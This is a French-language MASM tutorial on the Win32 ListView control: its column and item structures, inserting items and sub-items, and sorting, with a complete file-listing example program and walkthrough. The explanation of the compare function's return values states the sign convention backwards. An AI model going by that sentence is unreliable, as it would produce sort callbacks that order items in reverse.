LV_COLUMN contient l'information sur la colonne qui doit être insérée. Voici sa définition :

LV_COLUMN STRUCT
  imask dd ?
  fmt dd ?
  lx dd ?
  pszText dd ?
  cchTextMax dd ?
  iSubItem dd ?
  iImage dd ?
  iOrder dd ?
LV_COLUMN ENDS

Noms | Définitions
imask

Représente une collection de flags qui indique quels membres dans cette structure sont valides. Pourquoi utiliser ce membre ?, c'est pour ne pas que tous les membres dans cette structure soient employés en même temps. Seulement quelques membres sont employés dans certaines situations. Et cette structure est utilisée, à la fois pour les Entrées et les Sorties. C'est pourquoi il est important que vous *marquiez* les membres qui seront employés dans cet appel de Windows pour qu'il sache que ces membres sont valides. Voici les flags disponibles :

LVCF_FMT = Le membre fmt est valide.
LVCF_SUBITEM = Le membre iSubItem est valide.
LVCF_TEXT = Le membre pszText est valide.
LVCF_WIDTH = Le membre lx est valide.

Vous pouvez combiner ces flags. Par exemple, si vous voulez déclarer le titre de la colonne (comme 'taille' par exemple, ou bien 'nom' ou 'modifié'), vous devez donner l'indicateur qui pointe sur la chaîne de caractères dans le membre pszText. Et vous devez dire à Windows que le membre pszText contient des données en rajoutant le flag LVCF_TEXT dans ce champ, sinon Windows ne tiendra pas compte de la valeur (du texte) dans pszText.

fmt

Indique à quel endroit doivent être placées les items et sous-items à l'intérieur des colonnes. Les valeurs disponibles sont :

LVCFMT_CENTER = Texte centé.
LVCFMT_LEFT = Texte aligné à gauche.
LVCFMT_RIGHT = Texte aligné à droite.
lx | Est la largeur de la colonne, en pixels. Vous pourrez plus tard la changer avec LVM_SETCOLUMNWIDTH.
pszText | Dans le cas où cette structure est employée pour afficher les propriétés de la colonne, elle contient le pointer qui est sur le nom de la colonne. Par contre si cette structure est employée pour recupérer les propriétés d'une colonne, ce champ contient la valeur d'un pointer qui 'pointe' sur un assez grand buffer pour qu'il puisse recevoir le nom de la colonne qui sera renvoyée. Dans ce cas, vous devez indiquer la taille de ce buffer dans cchTextMax ci-dessous. Vous pouvez ignorer cchTextMax si vous souhaitez seulement afficher le nom de la colonne, car un nom est forcément une chaîne de caractères ASCIIZ, et Windows peut facilement retrouver sa longueur.
cchTextMax | Est la taille, en octets, du buffer indiqué, ci-dessus, dans pszText. Ce membre est seulement utilisé lorsque vous employez cette structure pour récupérer les renseignements d'une colonne. Si vous employez cette structure pour afficher les propriétés d'une colonne, ce champ est simplement ignoré.
iSubItem | indique l'index du sous-item associé à cette colonne. Cette valeur est utilisée un peu comme un marqueur pour lequel le sous-item de cette colonne est associée. Si vous le souhaitez, même en mettant un nombre sans aucun sens dans ce paramètre votre listview control fonctionnera toujours les doits dans le nez. La meilleure démonstration de l'utilisation de ce paramètre, c'est quand vous avez un numéro de colonne et que vous avez besoin de savoir avec quel sous-item cette colonne est associée. Vous pouvez l'interroger le listview control en envoyant le message LVM_GETCOLUMN, en spécifiant LVCF_SUBITEM dans le membre imask. Le listview control remplira le membre iSubItem avec n'importe quelle valeur que vous avez spécifié dans ce paramètre quand la colonne a été insérée. Pour que cette méthode fonctionne, vous avez besoin que d'entrer dans ce paramètre le correcte index du sous-item.
iImage et iOrder | Est utilisé avec 'Internet Explorateur 3.0' et plus. Je n'ai pas plus de renseignements à leur sujet.

Ainsi après que le listview control est été créé, vous devez y insérer une ou plusieurs colonnes. Les colonnes ne sont pas nécessaires si vous ne projetez pas de faire fonctionner le listview control en vue 'détails'. Pour insérer une colonne, vous avez besoin de créer la structure LV_COLUMN, la remplir de l'information nécessaire, et indiquer le nombre de colonnes puis envoyer ensuite cette structure au listview control avec LVM_INSERTCOLUMN message.

   LOCAL lvc:LV_COLUMN
   mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
   mov lvc.pszText,offset Heading1
   mov lvc.lx,150
   invoke SendMessage,hList, LVM_INSERTCOLUMN,0,addr lvc

Ce petit bout de code vous montre comment faire. Il détermine le texte d'en-tête de la colonne ainsi que sa largeur à envoyer au listview control, grâce au message LVM_INSERTCOLUMN. C'est aussi simple que ça.

Items et sous-items

Les items sont les principales éléments dans un listview control. Dans les vues autres, que la vue 'détails', vous ne verrez que les items. Les sous-items sont les détails des items. Un unique item peut avoir un ou plus sous-items associés. Par exemple, si l'item est le nom d'un fichier, alors vous pouvez regarder (en tant que sous-items) ses attributs de fichier comme, sa taille, ou sa date de création. Dans la vue 'détails', la colonne extrême gauche contient les items et les colonnes restantes contiennent les sous-items. Vous pouvez vous représenter les items et leurs sous-items un peu comme une base de données. L'item est la clef principale du tableau alors que les sous-items sont ses éléments de description dans ce même tableau.
Au minimum, il y aura quelques Items dans votre listview control : les sous-items ne sont pas nécessaires. Cependant, si vous voulez présenter plus d'informations à l'utilisateur à propos de ces Items, vous devrez leurs associer leurs sous-items respectifs. De cette façon, l'utilisateur pourra voir les détails dans la vue 'détails'.
On insère un item dans le listview control en envoyant le message LVM_INSERTITEM. Vous avez aussi besoin de lui passer l'adresse de la structure LV_ITEM dans lParam. LV_ITEM a la définition suivante :

LV_ITEM STRUCT
  imask dd ?
  iItem dd ?
  iSubItem dd ?
  state dd ?
  stateMask dd ?
  pszText dd ?
  cchTextMax dd ?
  iImage dd ?
  lParam dd ?
  iIndent dd ?
LV_ITEM ENDS

Nom | Significations
imask | Est un groupe de flags indiquant que les membres dans cette structure sont valides pour cet appel. En général, ce paramètre est semblable au membre imask de la structure LV_COLUMN vue plus haut. Référez vous à votre 'référence win32 api' pour plus de détail à propos des différents flags disponibles.
iItem | Est l'index de l'item auquel cette structure se réfère. L'index de base est zéro. Vous pouvez vous représenter ce paramètre comme le numéro de la "rangée" d'un tableau.
iSubItem | Est l'index du sous-item associé à l'item indiqué par iItem ci-dessus. Vous pouvez vous représenter ce paramètre comme étant le numéro de la "colonne" d'un tableau. Par exemple, si vous souhaitez insérer un item dans un tout nouveau 'listview control' juste créé, la valeur à mettre dans iItem serait 0 (parce que cet item est le premier) et la valeur dans iSubItem serait aussi 0 (car nous voulons insérer cet item dans la première colonne). Si vous souhaitez associer un sous-item à cet item, alors le iItem représenterait l'index de l'item avec lequel vous voulez l'associer (dans cet exemple, c'est 0). Le iSubItem ne pourrait être que 1 ou plus que 1, suivant la colonne où vous voulez insérer ce sous-item. Par exemple, si votre listview control a 4 colonnes, la première colonne contiendra tous les Items. Les 3 colonnes restantes sont utilisées par les sous-items. Si vous voulez insérer un sous-item dans la 4ème colonne, vous devez mettre valeur 3 dans iSubItem.
state | Ce membre contient les flags qui reflètent l'état de l'item. L'état de l'item peut changer à cause des actions de l'utilisateur, ou bien il peut être modifié par notre programme lui-même. The state includes whether the item has the focus/is hilited/is selected for cut operation/is selected. In addition to the state flags, It can also contains one-based index into the overlay image/state image for use by the item.
stateMask | Puisque le membre 'state' ci-dessus peut contenir les flags qui définissent l'état de nos items, nous avons besoin de dire à Windows quelle valeur nous souhaitons mettre (ou remplacer si on a déjà définit son état). La valeur de ce paramètre sert à ça.
pszText | Est l'adresse de la chaîne de caractère qui sera utilisée en tant que titre pour votre item dans le cas où vous souhaitez mettre ou insérer un item. Si nous nous servons de cette structure pour récupérer la propriété d'un item donné, ce membre doit contenir l'adresse du buffer qui sera rempli avec le titre de cet item.
cchTextMax | Ce paramètre est uniquement utilisé lorsque vous employez cette structure pour recevoir des renseignements à propos de l'item. Dans ce cas, ce paramètre contient la taille en octets du buffer indiqué dans pszText, vu ci-dessus.
iImage | Est l'index d'une icône contenue dans l'imagelist. Cet index indique quelle icône doit être employé et associée avec votre item.
lParam | C'est une valeur définie par l'utilisateur, laquelle sera réutilisée lorsque vous trierez les Items de votre listview control. Bref, lorsque vous direz au listview control de trier vos Items, celui-ci comparera les Items deux par deux. Il vous renverra les valeurs des lParam des deux Items, et vous pourrez ainsi décider lequel des deux doit être inscrit en premier. Si vous êtes encore un peu dans le coaltar avec ça, ne vous inquiéter pas. Vous en apprendrez plus tard, bien plus du triage.

On va récapituler les étapes clef pour l'ajout d'un item ou sous-item dans le listview control.

  1. Créez une variable de type la structure LV_item
  2. Remplissez-la des informations nécessaires
  3. Envoyez le message LVM_INSERTITEM au listview control si vous voulez insérer un item. Ou si vous voulez *insert* un sous-item, envoyez LVM_SETITEM a la place. Ce sera plutôt le bordel si vous ne comprenez pas le rapport entre un item et ses sous-items. Les Sous-items représentent un peu les propriétés de l'item . Ainsi vous pouvez insérer des items, mais pas des sous-items et vous ne pouvez pas avoir un sous-item sans avoir un item qui lui soit associé. C'est pourquoi pour ajouter un sous-item vous avez besoin d'envoyer le message LVM_SETITEM au lieu de LVM_INSERTITEM.

Messages d'ordres et messages de réponses dans le ListView

Maintenant que vous savez comment créer et remplir un ListView control, l'étape suivante c'est de communiquer avec lui. Le ListView control communique avec la fenêtre parente grâce à des messages et des avis. La fenêtre parente peut commander le ListView control en lui envoyant des messages. En retour, le ListView control fait le contraire, il informe sa fenêtre parente des événements importants ou intéressants grâce à WM_NOTIFY, comme les autres 'common controls'.

Classer les items/sous-items

Vous pouvez spécifier le type de triage par défaut dans le listview control en indiquant les types de tris LVS_SORTASCENDING ou bien LVS_SORTDESCENDING dans CreateWindowEx. Ces deux types classent les Items d'après leurs noms uniquement. Si vous voulez les classer selon un autre critère, vous devez mettre le message LVM_SORTITEMS à l'intention du listview control.

LVM_SORTITEMS
wParam = lParamSort
lParam = pCompareFunction

lParamSort est une valeur définie par l'utilisateur laquelle on passera à la fonction de comparaison. Vous pouvez employer cette valeur de n'importe quelle façon, c'est à vous de voir.
pCompareFunction est l'adresse de la fonction(type de tri) que l'utilisateur à défini pour son listview control. Cette fonction a le prototype suivant :

CompareFunc proto lParam1:DWORD, lParam2:DWORD, lParamSort:DWORD

lParam1 et lParam2 sont les valeurs dans le membre de lParam de LV_item Lequel vous avez défini lorsque vous avez inséré vos Items dans le listview control.
lParamSort est la valeur de wParam que vous avez envoyée avec LVM_SORTITEMS

Quand le listview control reçoit le message LVM_SORTITEMS, il fait appel à la fonction de tri (ou de comparaison) indiquée par lParam, ainsi il nous retourne le résultat de la comparaison entre deux items. Bref, la fonction de comparaison servira à savoir lequel de deux items lui ayant été envoyé sera placé en premier par rapport à l'autre. La règle est simple : si la fonction renvoie une valeur négative, premier item (représenté par lParam1) doit être placé après l'autre. Si la fonction renvoie une valeur positive, cet item doit être placé en premier. Si les deux items sont égaux, un NULL sera renvoyé.

Ce qui fait que cette méthode fonctionne, c'est la valeur de lParam qui se trouve dans la structure LV_item. Si vous avez besoin de trier des Items (comme lorsque l'utilisateur clique sur l'en-tête d'une colonne, essayez ça marche !), vous avez besoin d'imaginer une méthode de tri qui se servira des valeurs dans le membre lParam (IParam1 et IParam2). Dans cet exemple, j'ai mis l'index de l'item dans ce paramètre donc je peux obtenir d'autres informations à propos de ces items en envoyant le message LVM_GETITEM. Remarquez que lorsque les Items sont réarrangés, leurs index changent aussi . De cette façon, quand le tri est fini dans mon exemple, j'ai encore besoin de remettre à jour les valeurs dans lParam pour retrouver les nouveaux index. Si vous voulez trier les Items lorsque l'utilisateur clique sur l'en-tête d'une colonne, vous avez besoin de traiter le message d'avis LVN_COLUMNCLICK dans votre procédure de fenêtre. On passe LVN_COLUMNCLICK à votre proc de fenêtre grâce au message WM_NOTIFY.

Exemple:

Cet exemple crée un 'listview control' et le remplit avec les noms et les tailles des fichiers du dossier actuel où vous êtes. La vue par défaut sera la vue 'détails'. Dans la vue 'détails', vous pouvez cliquer sur les en-têtes de colonne et les Items seront classés par ordre croissant/décroissant (soit par nom, soit par taille). Vous pouvez choisir la vue que vous souhaitez grâce au menu. Quand vous double cliquez sur un item, une boîte de message affichera le nom de l'item que vous venez de sélectionner.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

IDM_MAINMENU equ 10000
IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

RGB macro red,green,blue
  xor eax,eax
  mov ah,blue
  shl eax,8
  mov ah,green
  mov al,red
endm

.data
ClassName db "ListViewWinClass",0
AppName db "Testing a ListView Control",0
ListViewClassName db "SysListView32",0
Heading1 db "Filename",0
Heading2 db "Size",0
FileNamePattern db "*.*",0
FileNameSortOrder dd 0
SizeSortOrder dd 0
template db "%lu",0

.data?
hInstance HINSTANCE ?
hList dd ?
hMenu dd ?

.code
start:
  invoke GetModuleHandle, NULL
  mov hInstance,eax
  invoke WinMain, hInstance,NULL, NULL, SW_SHOWDEFAULT
  invoke ExitProcess,eax
  invoke InitCommonControls
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
  LOCAL wc:WNDCLASSEX
  LOCAL msg:MSG
  LOCAL hwnd:HWND

  mov wc.cbSize,SIZEOF WNDCLASSEX
  mov wc.style, NULL
  mov wc.lpfnWndProc, OFFSET WndProc
  mov wc.cbClsExtra,NULL
  mov wc.cbWndExtra,NULL
  push hInstance
  pop wc.hInstance
  mov wc.hbrBackground,COLOR_WINDOW+1
  mov wc.lpszMenuName,IDM_MAINMENU
  mov wc.lpszClassName,OFFSET ClassName
  invoke LoadIcon,NULL,IDI_APPLICATION
  mov wc.hIcon,eax
  mov wc.hIconSm,eax
  invoke LoadCursor,NULL,IDC_ARROW
  mov wc.hCursor,eax
  invoke RegisterClassEx, addr wc
  invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInst,NULL
  mov hwnd,eax
  invoke ShowWindow, hwnd,SW_SHOWNORMAL
  invoke UpdateWindow, hwnd
  .while TRUE
    invoke GetMessage, ADDR msg,NULL,0,0
    .break .if (!eax)
      invoke TranslateMessage, ADDR msg
      invoke DispatchMessage, ADDR msg
  .endw
  mov eax,msg.wParam
  ret
WinMain endp

InsertColumn proc
  LOCAL lvc:LV_COLUMN

  mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
  mov lvc.pszText,offset Heading1
  mov lvc.lx,150
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc
  or lvc.imask,LVCF_FMT
  mov lvc.fmt,LVCFMT_RIGHT
  mov lvc.pszText,offset Heading2
  mov lvc.lx,100
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc
  ret
InsertColumn endp

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
  LOCAL lvi:LV_ITEM
  LOCAL buffer[20]:BYTE
  mov edi,lpFind
  assume edi:ptr WIN32_FIND_DATA
  mov lvi.imask,LVIF_TEXT+LVIF_PARAM
  push row
  pop lvi.iItem
  mov lvi.iSubItem,0
  lea eax,[edi].cFileName
  mov lvi.pszText,eax
  push row
  pop lvi.lParam
  invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi
  mov lvi.imask,LVIF_TEXT
  inc lvi.iSubItem
  invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
  lea eax,buffer
  mov lvi.pszText,eax
  invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
  assume edi:nothing
  ret
ShowFileInfo endp

FillFileInfo proc uses edi
  LOCAL finddata:WIN32_FIND_DATA
  LOCAL FHandle:DWORD

  invoke FindFirstFile,addr FileNamePattern,addr finddata
  .if eax!=INVALID_HANDLE_VALUE
    mov FHandle,eax
    xor edi,edi
    .while eax!=0
      test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
      .if ZERO?
         invoke ShowFileInfo,edi, addr finddata
         inc edi
      .endif
      invoke FindNextFile,FHandle,addr finddata
    .endw
    invoke FindClose,FHandle
  .endif
  ret
FillFileInfo endp

String2Dword proc uses ecx edi edx esi String:DWORD
  LOCAL Result:DWORD

  mov Result,0
  mov edi,String
  invoke lstrlen,String
  .while eax!=0
    xor edx,edx
    mov dl,byte ptr [edi]
    sub dl,"0"
    mov esi,eax
    dec esi
    push eax
    mov eax,edx
    push ebx
    mov ebx,10
    .while esi > 0
      mul ebx
      dec esi
    .endw
    pop ebx
    add Result,eax
    pop eax
    inc edi
    dec eax
  .endw
  mov eax,Result
  ret
String2Dword endp

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
  LOCAL buffer[256]:BYTE
  LOCAL buffer1[256]:BYTE
  LOCAL lvi:LV_ITEM

  mov lvi.imask,LVIF_TEXT
  lea eax,buffer
  mov lvi.pszText,eax
  mov lvi.cchTextMax,256
  .if SortType==1
    mov lvi.iSubItem,1
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke String2Dword,addr buffer
    mov edi,eax
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke String2Dword,addr buffer
    sub edi,eax
    mov eax,edi
  .elseif SortType==2
    mov lvi.iSubItem,1
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke String2Dword,addr buffer
    mov edi,eax
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke String2Dword,addr buffer
    sub eax,edi
  .elseif SortType==3
    mov lvi.iSubItem,0
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke lstrcpy,addr buffer1,addr buffer
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke lstrcmpi,addr buffer1,addr buffer
  .else
    mov lvi.iSubItem,0
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke lstrcpy,addr buffer1,addr buffer
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke lstrcmpi,addr buffer,addr buffer1
  .endif
  ret
CompareFunc endp

UpdatelParam proc uses edi
   LOCAL lvi:LV_ITEM

   invoke SendMessage,hList, LVM_GETITEMCOUNT,0,0
   mov edi,eax
   mov lvi.imask,LVIF_PARAM
   mov lvi.iSubItem,0
   mov lvi.iItem,0
   .while edi>0
     push lvi.iItem
     pop lvi.lParam
     invoke SendMessage,hList, LVM_SETITEM,0,addr lvi
     inc lvi.iItem
     dec edi
   .endw
   ret
UpdatelParam endp

ShowCurrentFocus proc
   LOCAL lvi:LV_ITEM
   LOCAL buffer[256]:BYTE

   invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED
   mov lvi.iItem,eax
   mov lvi.iSubItem,0
   mov lvi.imask,LVIF_TEXT
   lea eax,buffer
   mov lvi.pszText,eax
   mov lvi.cchTextMax,256
   invoke SendMessage,hList,LVM_GETITEM,0,addr lvi
   invoke MessageBox,0, addr buffer,addr AppName,MB_OK
   ret
ShowCurrentFocus endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
  .if uMsg==WM_CREATE
    invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
    mov hList, eax
    invoke InsertColumn
    invoke FillFileInfo
    RGB 255,255,255
    invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax
    invoke GetMenu,hWnd
    mov hMenu,eax
    invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED
  .elseif uMsg==WM_COMMAND
    .if lParam==0
      invoke GetWindowLong,hList,GWL_STYLE
      and eax,not LVS_TYPEMASK
      mov edx,wParam
      and edx,0FFFFh
      push edx
      or eax,edx
      invoke SetWindowLong,hList,GWL_STYLE,eax
      pop edx
      invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
    .endif
  .elseif uMsg==WM_NOTIFY
    push edi
    mov edi,lParam
    assume edi:ptr NMHDR
    mov eax,[edi].hwndFrom
    .if eax==hList
      .if [edi].code==LVN_COLUMNCLICK
        assume edi:ptr NM_LISTVIEW
        .if [edi].iSubItem==1
          .if SizeSortOrder==0 || SizeSortOrder==2
            invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc
            invoke UpdatelParam
            mov SizeSortOrder,1
          .else
            invoke SendMessage,hList,LVM_SORTITEMS,2,addr CompareFunc
            invoke UpdatelParam
            mov SizeSortOrder,2
          .endif
        .else
          .if FileNameSortOrder==0 || FileNameSortOrder==4
            invoke SendMessage,hList,LVM_SORTITEMS,3,addr CompareFunc
            invoke UpdatelParam
            mov FileNameSortOrder,3
          .else
            invoke SendMessage,hList,LVM_SORTITEMS,4,addr CompareFunc
            invoke UpdatelParam
            mov FileNameSortOrder,4
          .endif
        .endif
        assume edi:ptr NMHDR
      .elseif [edi].code==NM_DBLCLK
        invoke ShowCurrentFocus
      .endif
    .endif
    pop edi
  .elseif uMsg==WM_SIZE
    mov eax,lParam
    mov edx,eax
    and eax,0ffffh
    shr edx,16
    invoke MoveWindow,hList, 0, 0, eax,edx,TRUE
  .elseif uMsg==WM_DESTROY
    invoke PostQuitMessage,NULL
  .else
    invoke DefWindowProc,hWnd,uMsg,wParam,lParam
    ret
  .endif
  xor eax,eax
  ret
WndProc endp
end start

Analyse:

La première chose que le programme fait lorsque la fenêtre principale est créée, c'est de créer notre listview control.

  .if uMsg==WM_CREATE
    invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
    mov hList, eax

On appelle CreateWindowEx, en lui passant le nom de sa window class soit : "SysListView32". La vue par défaut est la vue 'détails' définie par le style LVS_REPORT.

    invoke InsertColumn

Après que le listview control est été créé, nous y insérons des colonnes.

  LOCAL lvc:LV_COLUMN

  mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
  mov lvc.pszText,offset Heading1
  mov lvc.lx,150
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc

Nous initialisons le label (son nom) et la largeur de la première colonne, qui sert au stockage des noms de fichiers, dans la structure LV_COLUMN. Donc nous avons besoin de mettre les flags LVCF_TEXT et LVCF_WIDTH dans imask . On rempli pszText avec l'adresse du label et lx avec la largeur de la colonne, en pixels. Quand tout est prêt, nous envoyons le message LVM_INSERTCOLUMN au listview control, en lui passant cette structure.

  or lvc.imask,LVCF_FMT
  mov lvc.fmt,LVCFMT_RIGHT

Quand on en a fini avec l'insertion de la première colonne, nous en insérons une autre servant cette fois-ci au stockage des tailles de fichiers. Puisque nous avons besoin des tailles pour les aligner à droite dans la colonne, nous avons besoin de mettre le flag LVCFMT_RIGHT dans le membre fmt. Nous devons aussi mettre le flag LVCF_FMT dans imask, en plus de LVCF_TEXT et LVCF_WIDTH.

  mov lvc.pszText,offset Heading2
  mov lvc.lx,100
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc

Le code restant est simple. On Met l'adresse du label (du titre de la colonne) dans pszText et sa largeur dans lx. On envoie alors le message LVM_INSERTCOLUMN au listview control, en indiquant le nombre de colonnes et l'adresse de la structure.

Quand les colonnes sont insérées, nous pouvons placer les Items dans notre listview control.

    invoke FillFileInfo

FillFileInfo présente le code suivant.

FillFileInfo proc uses edi
  LOCAL finddata:WIN32_FIND_DATA
  LOCAL FHandle:DWORD

  invoke FindFirstFile,addr FileNamePattern,addr finddata

Nous appelons FindFirstFile pour obtenir l'information sur le premier fichier qui correspond à nos critères de recherche. FindFirstFile possède le prototype de fonction suivant :

FindFirstFile proto pFileName:DWORD, pWin32_Find_Data:DWORD

pFileName est l'adresse du nom du fichier qu'on chercher. Cette chaîne de caractères peut contenir des caractères de substitutions. Dans notre exemple, nous employons *.*, ce qui fait qu'on mène une recherche sur tous les fichiers du dossier actuel où on se trouve.
pWin32_Find_Data est l'adresse de la structure WIN32_FIND_DATA laquelle sera remplie de l'information du fichier (si on l'a trouvé).

Cette fonction renvoie INVALID_handle_VALUE dans eax si aucun fichier correspondant à ce que l'on cherche n'a été trouvé. Sinon l'handle de la recherche est renvoyée, lequel sera utilisé dans les appels suivant FindNextFile.

  .if eax!=INVALID_HANDLE_VALUE
    mov FHandle,eax
    xor edi,edi

Si un fichier est trouvé, on stocke l'handle de la recherche dans une variable et ensuite nous mettons edi à zéro pour pouvoir l'employé en tant qu'index pour les Items (c'est le numéro de rangée).

    .while eax!=0
      test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
      .if ZERO?

Dans cet exemple, je ne souhaite rien toucher dans les autres dossiers, donc je les filtre en vérifiant dwFileAttributes. Comme ça, si on trouve des fichiers qui ont un flag FILE_ATTRIBUTE_DIRECTORY associés, on saute par dessus grâce à l'appel FindNextFile.

          invoke ShowFileInfo,edi, addr finddata
          inc edi
      .endif
      invoke FindNextFile,FHandle,addr finddata
    .endw

Nous insérons le nom et la taille du fichier dans le listview control en appelant la fonction ShowFileInfo. Donc on augmente le numéro de la rangée actuelle (dans edi). Finalement on continue à appeler FindNextFile pour chercher le fichier suivant dans le dossier actuel jusqu'à ce que FindNextFile retourne un 0 (Ce qui signifie qu'il n'y a plus de fichiers à chercher).

    invoke FindClose,FHandle
  .endif
  ret
FillFileInfo endp

Quand tous les fichiers dans le dossier actuel ont étés passés à la loupe, on doit refermer l'handle de la recherche.

Maintenant on va regarder la fonction ShowFileInfo. Cette fonction accepte deux paramètres, l'index de l'item (son numéro de rangée) et l'adresse de la structure WIN32_FIND_DATA.

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
  LOCAL lvi:LV_ITEM
  LOCAL buffer[20]:BYTE
  mov edi,lpFind
  assume edi:ptr WIN32_FIND_DATA

On stocke l'adresse de la structure WIN32_FIND_DATA dans edi.

  mov lvi.imask,LVIF_TEXT+LVIF_PARAM
  push row
  pop lvi.iItem
  mov lvi.iSubItem,0

Nous donne le nom de l'item et sa valeur dans lParam donc nous mettons les flags LVIF_TEXT et LVIF_PARAM dans imask. Ensuite nous plaçons l'item dans la bonne rangée (dont on avait passé son numéro à la fonction) et puisque c'est l'item principal, on doit mettre un 0 dans iSubItem (car la première colonne, c'est la colonne 0).

  lea eax,[edi].cFileName
  mov lvi.pszText,eax
  push row
  pop lvi.lParam

Ensuite on met l'adresse de son nom, (dans ce cas), le nom du fichier dans pszText de la structure WIN32_FIND_DATA. Puisque nous effectuons un tri dans le listview control, nous devons remplir lParam avec une valeur. Je souhaite mettre le numéro de rangée dans ce membre donc je peux me servir des renseignements de l'item grâce à son index pour le retrouver.

  invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi

Lorsque tous les paramètres nécessaires dans LV_item sont remplis, on envoie le message LVM_INSERTITEM au listview control pour y insérer un item.

  mov lvi.imask,LVIF_TEXT
  inc lvi.iSubItem
  invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
  lea eax,buffer
  mov lvi.pszText,eax

On place, dans la deuxième colonne, le sous-item associé à l'item qu'on vient juste d'insérer. Un sous-item peut seulement posséder un label (un titre). Donc on met LVIF_TEXT dans imask. Ensuite dans iSubItem, on indique la colonne dans laquelle le sous-item doit se trouver. Dans notre cas, nous met iSubItem à 1 en l'incrémentant. Le label que nous utiliserons représentera 'la taille du fichier'. Cependant, nous devons d'abord le convertir en une chaîne de caractères en appelant wsprintf. C'est pourquoi nous mettons l'adresse de la chaîne de caractères dans pszText .

  invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
  assume edi:nothing
  ret
ShowFileInfo endp

Quand tous les paramètres nécessaires à LV_item sont remplis, nous envoyons le message LVM_SETITEM à notre listview control, en lui passant l'adresse de la structure LV_ITEM. Remarquez que nous utilisons LVM_SETITEM, et non pas LVM_INSERTITEM parce qu'un sous-item est considéré comme étant une propriété de l'item. Donc rappelez vous de ça, c'est important, on *pose* (set) la propriété de l'item, mais on n'insère pas un nouvel item.

Lorsque tous les Items sont insérés dans le listview control, on défini le type de texte et les couleurs de fond de notre listview control.

    RGB 255,255,255
    invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax

J'emploie la macro RGB pour convertir les valeurs rouge, verte, est bleue dans eax et les employer pour définir la couleur réelle que je souhaite obtenir. On défini les couleurs de premier plan et d'arrière plan du texte avec les messages LVM_SETTEXTCOLOR et LVM_SETTEXTBKCOLOR. On défini la couleur de fond de notre listview control en lui envoyant le message LVM_SETBKCOLOR.

    invoke GetMenu,hWnd
    mov hMenu,eax
    invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED

On laisse l'utilisateur choisit ses vues grâce au menu. Donc on doit d'abord récupérer l'handle du menu. Pour aider l'utilisateur à retrouver la vue actuelle, on incorpore un système de bouton radio dans notre menu. L'item du menu qui est associé à la vue actuelle sera ainsi précédé d'un bouton tout rond. Pour faire ça, on doit appeler CheckMenuRadioItem. Cette fonction affichera un bouton radio juste devant l'item voulu dans votre menu.

Remarquez qu'on crée un listview control d'une largeur et d'une hauteur égales à 0. Elle sera redimensionnée plus tard à chaque fois que la fenêtre parente sera elle-même redimensionnée. De cette façon, on peut être sûr que la taille de notre listview control correspondra toujours à celle de la fenêtre parente. Dans notre exemple, on souhaite que le listview control remplisse la totalité du secteur de client de la fenêtre parente.

  .elseif uMsg==WM_SIZE
    mov eax,lParam
    mov edx,eax
    and eax,0ffffh
    shr edx,16
